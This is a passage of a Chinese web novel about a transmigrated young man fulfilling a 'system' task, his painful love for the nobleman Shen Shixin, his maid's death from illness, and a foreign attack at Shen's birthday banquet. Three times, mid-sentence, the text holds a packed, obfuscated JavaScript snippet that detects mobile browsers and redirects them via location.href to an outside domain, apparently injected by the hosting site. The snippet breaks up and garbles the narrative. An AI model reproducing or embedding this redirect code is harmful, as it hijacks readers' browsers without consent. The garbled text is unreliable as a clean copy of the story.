他甩开吴娴的手,有意压低了嗓音,“吴小姐,祖母派来盯着的下人离得够远了,你大可不必如此逾矩。” 吴娴状若无辜地抿了抿唇,似乎有几分无奈,“沈公子,你与我婚约在身,‘逾矩’二字怕是有些重了。” 她似有似无地咬重了“婚约”一词,低着头半抬眼看向沈适忻,这个角度看起来,像极了含羞带怯的小女儿姿态,几个胆大的路人甚至悄悄回眸看她。 只有对话的两人各自心存鬼胎。 见沈适忻不说话了,吴娴抬手掩唇,遮住了唇角上扬的弧度,眼里的春风无限荡然无存。 都言当局者迷旁观者清,说得不错,吴娴看着沈适忻不停的背影,心里的玩味多了几分。 旁人不知,局中人不懂,她还瞧不清吗? 她当然清楚,自己这个角度半抬眼看人,不只是惹人怜爱。 更像极了这位沈公子的小竹马。 吴娴收敛好表情,又小步追上沈适忻,不轻不重地挽进他的臂弯。 她感觉到对方的手臂肌肉绷紧了,却碍于名声,没能再次推开她。 她心情愉悦起来,又想到刚刚余光中一闪而过的谢璇衣,嘲弄般笑了笑。 一个爱人而不爱己的可怜人罢了。 还不如她呢。 沈适忻感觉到那双柔软的手又轻扶住自己的手腕,心里的烦躁顿时涌了上来,他正犹豫着如何甩开对方,就看清手指上的银色。 他的注意力被引开,语气失去先前表面功夫的礼貌:“你这银色的小玩意哪里来的?” 像是早料到对方要问这个问题,吴娴答话滴水不漏。 她柳眉微蹙,“沈公子,这不是前些日送到吴家的饰品吗?莫非是下人办事不利,送错了?” 沈适忻看着对方,本就因婚约烦心,此刻又无端想起谢璇衣那张含笑的脸,回忆起对方说过的话。 他把这东西送到自己手上前,似乎说过,这东西意味着两人情投意合、婚约在身。 大抵是死生契阔之意,此刻却像是施了术法一般,不那么亮的银戒在他眼里愈发刺眼。 他内心仿佛燃着一团暗火,在吵闹着,他并不想娶这位吴小姐。 那他应该娶谁,他总该有些想法的,否则怎会知晓自己不爱吴娴呢。 似乎是感受到头痛,沈适忻准备跳过这个思考的主题。 他对吴娴耐心道:“这东西简陋,想来是下人手笨装错了,你把它还给我,改日我挑一对上品玉镯给你赔罪,可好?” 沈适忻没看到,在听闻他话中之意时,吴娴弯起眼睛,眼里却没有笑意。 她偏要在这种地方为难对方。 “可是沈公子,这物件既然不值钱,我又实在喜爱,不如公子便送给我吧。” 她仰头看向沈适忻,头顶的珠坠叮当摇晃,眼里的期许不像作伪。 沈适忻却像是猛然触到痛点,连礼节都快维系不住,“这怎么好,吴小姐莫要胡闹了。” 他居高临下地看着吴娴,并不明白对方看上了哪里,非要嫁给自己。 “与你的婚约不过是安抚祖母的权宜之计,吴家与沈家的联络,想来还没有脆弱到要靠婚约来维系,吴小姐,好自为之。” 吴娴觉得无趣,只得摘下戒指还给对方,却又像是想起什么,嘴角梨涡浅浅,“不知沈公子的生辰宴请帖是否发过了,又是哪些公子小姐有幸参加?” 她从匆匆赶来的侍女手中接过一纸信函,递给沈适忻,笑道:“我要给公子的,在这里了,沈公子定要卖我个人情。” 沈适忻当着一街人的注目,不得不硬着头皮接下信函。 他哪里听不懂吴娴的意思。 对方分明是在敲打他,二人婚约在身,成亲之日将近。 沈适忻一辈子几乎从未被人这样敲打过,又是骄纵散漫惯了的性子,当街冷下面色,那双好看的眼眸中情绪沉沉。 “吴小姐,你与我婚约何来,你比我更清楚。” “不过祖母一句话的事情,她既能牵线,也能把你爹从这个尚书的位置上拖下来,还望吴小姐,好自为之。” 沈家与吴家的关系从来不像明面上这般简单。 眼瞧着沈适忻的背影,吴娴啧啧两声。 身旁的侍女一句话不敢多言,埋下头眼观鼻鼻观心,只听着吴娴摩挲手炉的声音。 她幽幽叹了口气,语气与说出来的话语全然相反。 “小芊,我可真是害怕这位沈公子,你说我嫁过去后,日子要怎么过呀。” “不过也恰好,沈公子如此对我,我自然该痛哭流涕一番,再让老夫人瞧一瞧,是不是?” 小芊战战兢兢,一字不敢言。 吴娴看着她温驯胆小的样子,满意地摸了摸她的头顶,动作与神情全然不像个将要及笄的少女。 “你呀,胆子小,”她说话像是在低低笑,“比前几个丫头都好。” - 谢璇衣回到院里,魂不守舍地呆坐了一阵,方想起托下人买的书本又到了一批,正准备亲自去拿。 才从院里出来,走了没两步路,谢璇衣就遇到凉亭边的谢父,不得不硬着头皮给对方行礼。 “父亲。” 对方近些日对他的态度好了不少,他却仍不能掉以轻心,礼节上的功夫,还是要做足。 “父亲近日操劳,憔悴了不少,儿子还有些滋补品,晚些时候叫院里丫头熬了汤,送到父亲房中。” 谢父看着儿子,神色里的满意增添了不少,背着手一连点头,连带着腰上的玉佩晃来晃去。 “近些日北漠使臣造访,昨日便已在帝京歇息了,政务繁琐不少。” 谢璇衣听到北漠,精神一振,连忙一通含糊宽慰,又紧接着打听道:“那父亲可知道北漠使臣所来目的?” 毕竟是少年人,好奇在所难免,谢父默许了他这一次的越界,回忆一番,“名义上是来赴宴,大抵是为了和亲而来。” 北漠近些年实力膨胀,自从前任王上病故,新任王上收紧权力,统治便愈发稳固,人心也更齐整。 想来……大有对汉人下手的意思。 此番虽为和亲,怕是醉翁之意不在酒,在于索要河西城池归属权。 北漠新王究竟什么来头,竟然敢这么造次。 谢璇衣垂下眼帘,藏起那几分算计。 谢父看着他默不作声,却又想起什么,语气再次严肃起来。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099289|179785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你可知沈家小子不久便要成亲?” “近些日子恰好冬假,多在府里陪陪长辈,就莫要往外跑了。” 谢璇衣猛然抬起头。 他这便宜爹是联想到什么了,怎么突然要软禁他。 还没想清楚其中内涵,就见眼熟的小厮跑过来,为难地跟谢父嘀咕一阵,后者的面色缓和些许,招手让人退下。 谢父转过面,又赶谢璇衣走:“秋芝说想找你探讨学业,你去吧。” 谢璇衣又行了礼,退下了。 倒是不知道谢秋芝这小子葫芦里又藏了什么药。 这两日想不明白的事情实在有点多,或许是体质值上限值骤降的缘故,他现在很容易感到疲惫。 阿简的病虽然在好转,却也不能掉以轻心;系统任务截止日将至,他不得不做好十万分准备;沈适忻对自己的创伤又实在难捱。 光这么想着,他就出了长廊,一眼瞧见谢秋芝失了先前的跋扈劲,期期艾艾:“兄长,你来了。” 观察到谢璇衣并没有对自己劈头盖脸辱骂,谢秋芝眼底又燃起了几分希望。 他扑通跪下,哀求对方,“兄长,你帮帮我,你去跟爹求求情,让他帮我说说好话吧,我还不想坐牢阿。” 虽然早有料想,可是真看到谢秋芝如此无耻,谢璇衣的无名火又冒了上来,他转身要走,又被对方扯住了衣服下摆。 他衣服可是毁一件少一件,谢璇衣忍痛停住脚步,蹙眉道:“谢秋芝,你咎由自取,我帮不了你。” 谢秋芝见对方软硬都不吃,发了狠,眼底的红血丝有些可怖,“谢璇衣,你得帮我!你名声坏掉了,不能拖累了我!” 他哪壶不开提哪壶,谢璇衣便蹲下来,用力掰开对方丰满到几乎分不清指节的手,一点点将衣摆拽出来。 他不再施舍给对方一个眼神,“只是为了这种事,就别再找我了,多余的话,留着牢房里说给死去的何翠萍吧。” 正此时,知柳不知道从哪里窜出来,脸上的惶恐难以掩盖,甚至说话时语速都变得极快。 “主子,沈公子来了。” 谢璇衣正想回一句与我何干,就见小丫头张了张唇,才勉强道:“沈公子就在前厅坐着,说……说一定要见您,见不到人,他今日便不走了。” 提起这个名字时,谢璇衣心里的闷痛便突然满胀,难以消解。 他勉强地抓住袖口,像是潜意识里要给自己找一株救命稻草。 赶到前厅的时候,谢父正点头哈腰地陪笑问候着,极尽谄媚,沈适忻仍然是翘着二郎腿,笔直地靠在太师椅的椅背上,坐没坐样,却丝毫掩盖不住风华气度,举手投足的姿态旁人学不来分毫。 谢父很有眼力见,自己退了出去。 前厅里,除了两个守在门口的丫鬟,便空空荡荡。 谢璇衣有些忐忑,不敢上前,只能强迫自己看着昏沉的夜色。 半晌,一直不言语的沈适忻发出一声轻笑,眼里却没有笑意,隐藏着难见的思忖。 “你知道我为什么来找你吗?” 谢璇衣仍然不敢说话,甚至连多看对方一眼都不敢。 “谢璇衣,左右你身份卑贱,不如抬进我房中做妾室。” “怎么,这难道不是你苦苦奢求的?” 12. 第 12 章 谢璇衣最后也没有给出这个问题的答案。 这一次是他站着,沈适忻坐着。 他并没有近视,离得这么近,他轻而易举地就能看清沈适忻的脸。 哪怕脸上的任何一处肌肉,一根睫毛,他都能看得一清二楚。 这张脸笑起来多么张扬俊逸,认真时又是多么令人痴迷,皱眉时多让人心惊……这一切样子他都见过。 却唯独没有见过对方像现在这样,抬着头看他,面上的随意和期待一点点冷却,像是一盏价值连城的清茶无人品味,只能一点点浓酽,变得不伦不类。 谢璇衣却一直是那副表情,站着,双手很规矩地自然垂放在身前,垂感很好的布料从关节处打了个柔韧的褶,阴影一点点逸散开,最终没入袖口那一圈内敛的灰色绒毛中。 他不愿意。 甚至这句话像惊雷一样炸进他耳朵里的时候,他甚至喉头有几欲作呕的冲动。 但那一丝几乎令人惊讶的厌恶被他藏了起来。 虽然没有什么天赋,但他还没忘记自己的专业。 这一天是谢璇衣第一次对面前矜贵无双的男人撒谎。 他从茶几上微漾的茶水里,看到自己随着水波一轮轮扭曲的、平静的脸,又听到自己喉嗓震动,说出了和那天一样的话。 “沈公子,”他语气平静而温柔,“您只是恨我,别做对不起吴小姐的事情。” 沈适忻看着他认真的表情,那层戏谑而隐秘的期许像是投入水中的糯米纸,悄然化开。 他皱眉,“你不愿意?” 谢璇衣只是微笑,不拒绝,也没有答应。 他愿意的,他当然愿意,如果不是遇到沈适忻,他大概一辈子也不知道那种青涩的暗恋有多艰辛,又是多么容易满足。 他曾经都无耻地幻想过对方会对自己有所改变,又怎么会不愿意。 只是…… 好像有什么不一样了。 改变是从什么时候开始的呢? 强迫?误会?掐死小鸟?还是那盘期许付诸东流的桂花糕? 好像都是,又好像都不是。 他曾经的每一步都踩在荆棘上,最后一寸心一寸灰。 谢璇衣敛眸看着沈适忻衣襟上光泽温润的珍珠,听到对方明显不悦的口气。 “你有什么不愿意的?” 放在以前,听到这种口吻,他大概率眼泪都要掉下来了。 谢璇衣自嘲地笑了笑,重新抬起头,语气没什么不一样:“沈公子,如果吴大人知道您在娶他女儿之前,抬进来一房男妾,恐怕沈家遭人诟病。” “草民……还不想成为沈公子一家的污点。” “天寒,夜路难走,沈公子早些回去吧,莫要为难那些下人。” 谢璇衣不知道哪里来的勇气,又或许是失去了回头看的勇气,竟径直走到门口,敲了敲合拢的门,对着门外轻声吩咐:“去叫沈公子的下人来吧,夜深了。” 沈适忻脸上最后一丝游刃有余早已一干二净。 他猛然起身,脸色彻底冷下来,连同眼角那颗小痣似乎都因愠怒而有些触目惊心。 门口的侍女都是通权达变的性子,自然八面玲珑,知晓轻重,很快把候着的下人带来。 沈适忻抬手制止要上来扶的下人,第一次全神贯注盯着谢璇衣的表情,像是要把他的每一个毛孔都看透,从每一丝肌肉的纹理里看出谢璇衣一丁点悲伤和虚情假意。 他彻底失望了。谢璇衣从头到尾一直是他印象里那副模样,看上去温驯、怯懦,不会和人争执,心碎了就一个人默默地淌眼泪。 像是一只会自愈的贴心的宠物。 他直到从谢家离开前,眼神一直死死盯在谢璇衣面上。 对方走后,知柳才连忙为谢璇衣披上厚重的外衣。方才他送沈适忻离开,一直穿着单薄的衣衫,前厅里有炭火烘着也就罢了,外面可天寒地冻着。 谢璇衣却像是被厚衣服压着一般,猛然卸下了力气,语气疲倦:“有劳了,倒也不必如此。” 他极少穿这种富贵又奢侈的氅衣,实在难以习惯,就像一个人在冰天雪地里踽踽独行惯了,突然有人要端上一桶清澈的热水护理他满手冻疮,反而会被灼伤。 恐怕那善人还觉得奇怪呢。 谁知一向听他话的知柳压下他的话头,声音低了下去:“主子,您穿着吧,过会还有得穿呢……” 还没等警铃大作的谢璇衣一五一十问清楚,阿春慌里慌张跑过来,一下子跪倒在石砖上,声响听着就让人心惊。 她还一个字没说出口,谢璇衣就已经猜透了。 天上的乌云终于禁受不住,星星点点落了些冰碴子,到低空便化成了水,小小的雨滴不轻不重落在他脸上,一片冰凉。 等三人赶回院子时,阿简正不知道哪里来了力气,搬着板凳就要往门口走,一脚深一脚浅,像是来一阵风就能把她吹散,连同着到地表连水分都留不下的雨雾一起消失在天地间。 房门的门槛真是有些高,阿简盯着已经有些模糊的木门槛,才发觉自己已经数不清上面的裂痕有多少条了。 力气将要用尽时,她控制不住歪歪扭扭倒下,恰好被两双手搀住了手臂,两双手都很冷,她昏沉着,却觉得很温柔。 谢璇衣抓着阿简的大臂,对方的体温烫得他心惊胆战,哪怕隔着衣料也能感觉到。 阿简似乎已经断断续续发烧太久了,哪怕是请了大夫开了药,也并没有好转的症状。 他一面心乱如麻,一面指挥小姑娘们安置阿简。 他不能慌,他慌了,这些小孩只会更慌。 发热不断、咳嗽、甚至呼吸困难…… 谢璇衣脑子里过着阿简全部病症,开始回忆系统里有的内服药。 他小时候也经常生病,不说久病成医,基础的判断正确率不会太低。像她这样的,有极大概率会是肺炎。 “系统,”他趁着支开其他人的功夫,连忙问系统,“我的积分还剩多少。” “宿主:沈适忻;剩余积分:七点,评价:生活拮据。请宿主努力完成任务,赚取积分。” 听到积分尚有剩余,谢璇衣松了口气,面露喜色:“帮我兑换一份消炎药吧,是五积分对吧?” 积分没了他还能再赚,起码先保住阿简的命。 谁知系统静默片刻,像是在清点什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099290|179785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半晌,谢璇衣听到温柔而无机的女声,浑身的血液似乎都冷下来。 “宿主,为避免小世界异常,药品存放不得超过五件,您已存放数量到达上限,请及时使用或回收。” 他哪里有五件在外存放的药品! “你能帮我提示一下在哪吗,”谢璇衣手心冒汗,一片粘腻,心口也滞涩着,“不可能啊,我怎么会在外放药品呢。” 且不说他积分所剩无几,就算有,按他的性格,也断无可能随手乱放。 “宿主南侧,距离十八尺。” 谢璇衣依着方向转过去。 面前是侍女们存放个人物品的小柜。 谢璇衣直勾勾盯着柜子,心里的恐慌就像洪水猛兽,他几乎难以招架。 “主子,”阿简在他背后唤他,声音很小,几乎都能被雨声盖住,“阿简有话想和您说。” 他像是被什么尖锐的物体刺了一下,一时间连身体都定在原地,不敢想,更不敢听。 他短暂的人生里,从未有过对死亡的成熟教育,甚至第一次遇到死亡,就是他自己。 “你会好起来的,别多想。” 像是在欺骗自己一般,谢璇衣低低念着,回过神摸了摸阿简灼热的双手。 那双手却突然抓住他的手腕。 像是从哪里续来几分气力,阿简慢慢直起身坐起来,浑身的骨头都咯吱作响,如同生锈的机器。 “主子,阿简都知道啦,”她笑了笑,眼睛亮得像星星,一行泪很慢地滚下来,“您很好,比我爹娘都好。您不打我,还教我很多东西,那些精致漂亮的小药丸瞧着像是无价之宝,您也舍得给我。” 她嘿嘿一笑,咳嗽时牵出一条细细的血丝,“但是阿简骗了您,阿简的命太不值钱啦,所以一颗都未曾服用,全都放在小柜里了。” “虽然爹娘对我很不好,但我有点想他们了。” “主子,您以前讲过的、汪洋那一边的小鸟儿的故事,阿简已经猜到结局了。阿简不想让您做那只染红玫瑰的小鸟儿。” 她断断续续,像是一口气要说完一辈子的话,声音却越来越小,谢璇衣几乎都要听不清。 窗外一声惊雷,雪白的闪电划亮了房内的陈设。 阿简的呼吸声夹杂着肺的杂音,越发急促,又在触及了什么节点时慢慢弱了下去。 她慢慢转过头,用难得烂漫的小女儿口吻,像是在和谢璇衣讨价还价。 “主子,阿简能叫您一声哥哥吗?” “璇衣哥哥,明日阿简终于不用早期洒扫了,可以安安心心地睡一长觉,睡到阿简滚进软绵绵的雪堆里。” “如果哥哥哪日偶然想起我,就去挖一捧新雪吧。” “那时候,阿简已经在泥土的水泽里了,哪里都能去,怎样都自由……” 雨还没停,却有什么已经逸散在雨里了。 北方冬季很少有雨,这一点谢璇衣早就知道,他曾经听下人说,雨多是好事,水汽充沛,便预示着瑞雪兆丰年,这一年会有很厚很厚的雪,来年会瞧见金黄金黄的庄稼田。 然而那个憧憬北国的、胆小又浪漫的姑娘,大概再也看不到了。 13. 第 13 章 天微微亮的时候,谢璇衣已经打点好阿简的后事。 没有惊动太多人,也不能惊动太多人,他这么隆重不合礼数,让谢父知道恐怕免不了一顿斥责。 他还需要仰人鼻息。 等到与阿简玩得好的几个姑娘哭累了,昏昏沉沉睡去,谢璇衣仍然毫无困意。 阿简的柜子里没什么东西,除去几身换洗的旧衣和日用品,还有刚领来的冬衣,她甚至还没怎么穿过。 除此之外,只剩下一只小匣子。府里的侍女都有,多是用来收纳碎银铜板,或放些主子赏赐的珠宝。 而她的匣子里只有药。 瓶装的、盒装的,谢璇衣拿起来的时候,还记得自己是怎样将罐装的药倒进小瓷瓶里,一桩桩一件件历历在目。 他站在床边,微弱的曦光已经能照亮房内部分陈设。 匣子里还有一沓宣纸,被人很仔细得用麻绳卷起来,连折角都罕见。 最新的一页上,还留着崭新的墨痕,满是少女心事。 初七。今日在小厨房里分到了一整块黑糖,和小冬敲了些品尝,甜丝丝的,晚些时候给主子做糖水用。 十六。阿春昨日听了主子讲行记,今日便问我以后想去哪,我说哪里都好,也得出得去才行呀。 廿一。近日风寒不见好,怕是没几日了,不过我看到了雪呢,已经够啦,剩下的,来世再说吧。 …… 最后一条是三日前,字体扭曲颤抖,却一笔一划格外清晰。 廿四。我不想要什么来世了,我已经比太多人幸福了。我希望主子也幸福。 谢璇衣捏着宣纸,力气格外轻,心跳声却比哪一时都要沉重。 仿佛是被人推进一只密闭的玻璃匣子,空气一点点稀薄耗尽,他听不见任何,也感知不到任何,只有一个悲怆的念想还在萦绕着。 只有在这一刻,宣纸的一角才晕开一滴深色的泪痕,冲淡了一旁试笔聚锋的细细笔触。 - 知柳代替了阿简的位置,像一道沉默的影子跟在谢璇衣身后。 谢璇衣一夜没睡,在车里轻轻揉着太阳穴缓解头痛,听知柳核对礼单的内容。 在谢父对他的便宜弟弟失望透顶时,就嘱咐过他今日来送冬至礼。 谢润官职低微,却能住上远超同层次官员的宅院,全仰仗他那高嫁的堂姐谢瑜。 今日送礼的对象,恰好是堂姐手帕交的母家。 哦,也恰好是欺辱过他的那位钱二少的家族。 谢璇衣眼神从礼单上收回,抬眸间刻意忽略了这些经历。 没有在这些地方斤斤计较的必要了,总归只是数据而已。 谢润厚着脸皮,让他以堂姐的名义递拜帖,谢璇衣觉得可笑,却顺着他的意思照办了。 下人瞧了帖,又见来人,已经大致猜透了谢璇衣的目的,通报过后很快将人请进去。 钱大人倒是慈祥宽容,面带笑意地收了礼,还想留他用午膳,被谢璇衣婉言谢绝了。 他面上固然憔悴,却始终温和知礼,教人平添几分心疼。 见拗不过他,钱大人便不再多挽留,小叙片刻,便传了下人带他离开。 对方也没有几分真心实意,他想,还是少有来往好。 左右不过两步路,谢璇衣的手已经冻得发红,临了要上车回府时,他被那个最熟悉的人冷声叫住。 “谢璇衣,你到底发什么病,糊弄人也得讲分寸。” 谢璇衣抓着车门的手一顿,不禁有些想笑。 “分寸”这个词,在他和沈适忻之间被提起,不免有些荒唐好笑。 “草民岂敢,”谢璇衣将鬓边乱飞的发丝拢到耳后,兜帽上的绒毛随风颤抖,“过几日沈公子的生辰宴,草民没忘,公子莫要再在这些方面伤肝动火了。” 沈适忻在寒气里眯起眼睛,盯着他憔悴而苍白的面容,又瞧见垂头拱手站在他身后的知柳,冷嗤一声。 “不愿意与我做妾室,原来是死了姘头。装什么清高自持,想来是忘记那些摇尾乞怜当丧家之犬的日子了。” 一口气猛然冲上谢璇衣的胸腔,从鼻腔到肺里一片冰凉,喉咙里几乎翻涌着血腥气。 他猛然扯掉兜帽,第一次敢有对沈适忻怒目而视的胆魄。 一步一步,谢璇衣走到沈适忻面前,抬头紧紧盯着他:“沈公子,慎言。” 沈适忻居高临下地看着他,半晌才勾起唇角,不知是讥讽还是嘲弄。 “难怪穿得这么素。” “想要俏,一身孝,改日便叫那几个丫头也穿素衣。” 在这种语境里,代指的对象便变得具体而特殊。 谢璇衣的手在衣袖里攥紧又泄力,蹂躏着袖口处的布料,掌心鲜艳的血痕层层叠叠,他已经快要到达忍耐的极限了。 就快了,没几天了,等到他完成了这个小世界的任务,他要好好活。 他再也不要接情感类的任务了。 沈适忻微微偏头,如愿看到对方服软、走开,甚至连一句重话都没舍得对他说。 狐朋狗友萧隽在马车里看完全程,才踩着飘飘浮浮的步子从他身后靠近,啧啧称奇。 “沈公子魅力犹殊啊,他竟然这都能忍住不骂你。” 沈适忻手里的折扇坠着金珠蝶贝,华贵非常,却被主人不甚在意得抛在空中转了两圈,珠坠哗啦啦作响。 “当然,他死心塌地得很,又实在低贱得很。若不是怕祖母怪罪,抬进来做男妾也甚是有趣。” 萧隽笑嘻嘻和他打趣一阵,左右不过“谢璇衣不配”“得趣人不少”云云,之后便前后脚进了钱府。 身后的小厮抬着大大小小的礼品,鱼贯而入。 谢璇衣的马车和沈适忻背道而驰。 马车里,帘子被马车飞驰带起来的风吹得群魔乱舞,无端让人心烦。 谢璇衣从腰间的小锦袋里取出那枚玉,那种几乎泛着恶心的痛觉又在作祟,让他几乎有将它丢出窗外的冲动。 几番冷静,谢璇衣最终没下得去手。 他摩挲着玉,在正午的阳光下照了照,他前些日子忙里偷闲,靠系统恶补玉雕审美,已经简单雕出些雏形。在阳光下一照,纹理细腻,温润漂亮。 可翻到背面的时候,玉上却有一道不深不浅的裂痕。 裂痕并不影响整块玉的构造,却足够显眼,足够让人心痒作祟。 就像……一根倒刺,一丝木屑刺进皮肉里,小,却难以忽视,像是某些隐痛。 - 阿简来府上的时候,爹娘便只认钱,全然不在意女儿的死活,对她来说,谢璇衣便是能托付的人。 按谢璇衣的规矩,他不喜欢古代的停灵,只出钱置办了棺椁,寻好西山迎风一面山清水秀之处,两日便将人葬了。 这里的水汽更丰盈,想来落雪也会比别处早,他想,阿简会喜欢的。 其余的衣裳和小丫头的一缕头发,他则亲自收起烧尽,尽数洒在了流向北方的河里。 一切后顾之忧全部解决,松懈下来的时候,谢璇衣忽然想起上辈子看过的一句话。 生命的尽头并非死亡,而是忘记。 他忙前忙后的时候,谢父并不在乎他身边的丫鬟换成了谁,又或许根本不记得阿简的脸;孙淑娘为儿子的罪证焦头烂额,对他不过一点头,眼里的怨气几乎快要藏不下去;其他院里的侍女小厮麻木在日复一日的工作里,不在乎多谁少谁…… 记得阿简的只有他们几人,却又像木雕刀削出来的一样,锋利尖锐,光影分明。 原来忘记一个人,又那么简单,又那么难。 夜里,谢璇衣在烛火下完善玉佩细节,照例向系统询问进度。 今日不同往日。 “宿主:谢璇衣,任务进入谨慎状态,请随时留意变故。” 谢璇衣一愣,尖锐的刀擦过玉,划伤了手背,曳拖出长长的血痕。 他紧抓着系统的话不放,呼吸急促起来:“什么叫谨慎状态,是不是快要完成了。” 系统不语,只留下谢璇衣紧张难眠。 次日是沈适忻的生辰宴了。 也是他……给这段狼狈又可笑的情绪寄托找到的坟冢。 明日之后,无论任务完成与否,一了百了。 一根银刺扎进心里,拔出来很痛,可是如果放任之,只会一次次红肿发炎,加剧它的存在感,直到刻骨入髓,痛彻心扉。 他很傻,却不能一直那么傻。 - 距离冬至没几日,京中很热闹,又正逢使臣来朝,街上流通起不少来自其他地域的新鲜物什。 沈适忻不喜欢太早起操办,索性将时间推到了下午,留一众赴宴的宾客用晚饭。 知柳给谢璇衣挑了件靛蓝色的外袍,被他亲自换掉,改成了浅杏色。 只当作主子还在为阿简伤心,知柳没有多问,只是小声嘟囔两句:“主子穿蓝色分明更好看,月白色也很素呀。” 谢璇衣笑了笑,把装着玉佩的小盒子盖好。 他遇到沈适忻那天,穿的就是这样一身衣裳,既然从这里开始,便从这里结束。 彻底结束。 赶到沈府,谢璇衣才算第一次正儿八经观望沈家高大的建筑。 由下人核验后,谢璇衣进了沈家的前院。 从刚刚在车上,系统的警报就一直在提示,微弱的电流声在耳朵里窜来窜去,他几乎没空分神。 哪知只一个分心的功夫,他被人强行从门里拖到大门口,险些踉跄摔倒。 “谢璇衣,你也配参加沈公子的生辰宴?” 尖锐刻薄的嘲笑如同曾经的每一场噩梦,谢璇衣没想到,连沈适忻的生辰宴,他们都要闹出些幺蛾子看自己的笑话。 “他邀请了我,我为何不能来。” 谢璇衣后退两步,绕开几人身手能碰到的范围,皱着眉盯着。 他不希望连结尾也是乱糟糟的,更何况脑子里的警报作怪,他也没有闲心应付这几人。 赴宴的人群里,不少好事者已经竖起耳朵听起笑话,一个个闪过的目光,仿佛都在讥笑他惨淡无终的过往。 正这个时候,沈适忻出来迎赴宴宾客。 隔着很远,谢璇衣就能听到沈适忻那位朋友嬉笑的声音。 他还是难以改变,听到沈适忻的名字就无可避免地心乱如麻。 可是下一刻,沈适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099291|179785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忻的回应声就像冷水一样灌进他的胸口。 “瞧你这话说的,他也配为本公子庆祝生辰?不过是老头做事无趣,叫他来添些乐子。” 萧家少爷还在语气夸张地笑:“那我怎么听说,沈公子前些年在书院里,还当真对这可笑的乐子动过心?” 嗤笑声随之而至。 “什么动心,都是骗他替本公子卖命的,你瞧,不只有他一个人信了?” “哦,我倒忘了,还有你这傻子信。” 前院里不少人听到他二人交谈,不少人三言两语地凑上去谄媚,尽数是贬损之语。 先前将谢璇衣拉出来的公子哥如愿看到他惨白的面色,像是瞧见什么天大的笑话,乐不可支。 一片热闹,却是踩在他的骨骼上,仿佛要把每一处关窍都碾碎磨烂,供人取乐。 下一刻,院里骤然爆发出一阵尖叫,立刻冲淡了方才的热闹。 尖叫声四起,谢璇衣听到有人喊:“走水了!走水了!” 系统的警报声倏然扩大百倍,一连警告他三声:“警报,请宿主注意,及时完成任务!” 谢璇衣的眼睛慢慢睁大,看到从异域乐女琴中抽出的寒光。 往日和谢父的交谈还历历在目。 那一晚,谢父无意间告诉他,北漠的使臣意在和亲,他那时候细想几分,猜到对方意在侵吞河西城池归属权,便未曾深入。 可是北漠与西域间的通道并未封死,固然不如河西方便,却也没有大费周折的必要,成本远高于河西来往贸易的利润。 如今临近冬至,来往走动的人多关卡松动。 沈适忻的生辰宴又极度铺张,人尽皆知,街上不少好奇的百姓在探头探脑,凑着热闹。 一个可怖的念头在谢璇衣心里成型。 也许……北漠的野心远比他猜测的,要大得多。 汉人的皇帝统治实在平庸,沈适忻祖母的母家卫家又人丁凋零,将才早亡,有领兵魄力的将领本就寥寥无几,又多在外驻守。 北漠完全有能力,偷偷运进来一支军队,里应外合。 他们要从最核心瓦解中原的统治力量。 沈适忻的生辰宴便刚好是起点! 谢璇衣一下子慌神,连忙冲进沈府前厅。 先前高挂着的彩绸被火炙烤,卷曲着焦裂的边缘,人影逃窜。 火光,刀光,天光,交织在谢璇衣的视网膜上,说不出的扭曲怪异。 沈适忻就在不远的地方,手里紧握着下人的剑,血水混着汗水从额角滚落下来,本就俊秀的面容平添上触目惊心的昳丽。 房顶片瓦微动,黑影一闪而过。 谢璇衣感觉到脸上冷飕飕的凉风,视线之余,却看到寒光一点,弓如满月,目标近在咫尺。 谢璇衣顾不得多想,几乎用尽了爆发力,一个闪身冲上前,那么单薄的身躯挡在了沈适忻眼前。 一只箭簇没入身躯,撕开皮肉的闷响令人牙酸。 血液鼓沸,他才发觉系统并没有提示,全是他一腔热血奋不顾身。 他的视线停留在沈适忻面上,不知道自己作何表情。 也许很狼狈,也许还有些未完的眷恋。 沈适忻脸上是他从未见过的无助和惊愕。 那只箭头从他背后穿入,从胸前透出,一刻不停地流失着鲜红。 热量、心绪,都在被无穷无尽的日光剥离。 很快,像是泄愤一般,又有几只箭头从他身边穿过,其中一只正中喉腔。 他耳边只剩下诡异涌动着的电流声,和耳膜的鼓动。 沈适忻一只手还托在他腰间,冰冷僵硬得像是玉,那双好看的眼里却血红一片,几乎失声地叫他。 谢璇衣笑了笑,他从未有一刻像现在这般从容。 系统不懂变通,还爱骗人,谢璇衣茫茫然地想,他哪还有什么贴身保护的高体质值呀。 他早就一无所有了。 系统还说,他死在小世界的时候会屏蔽感官。 可为什么,他的心还会痛。 是心在流血,还是心在流泪,他好难区分呀…… 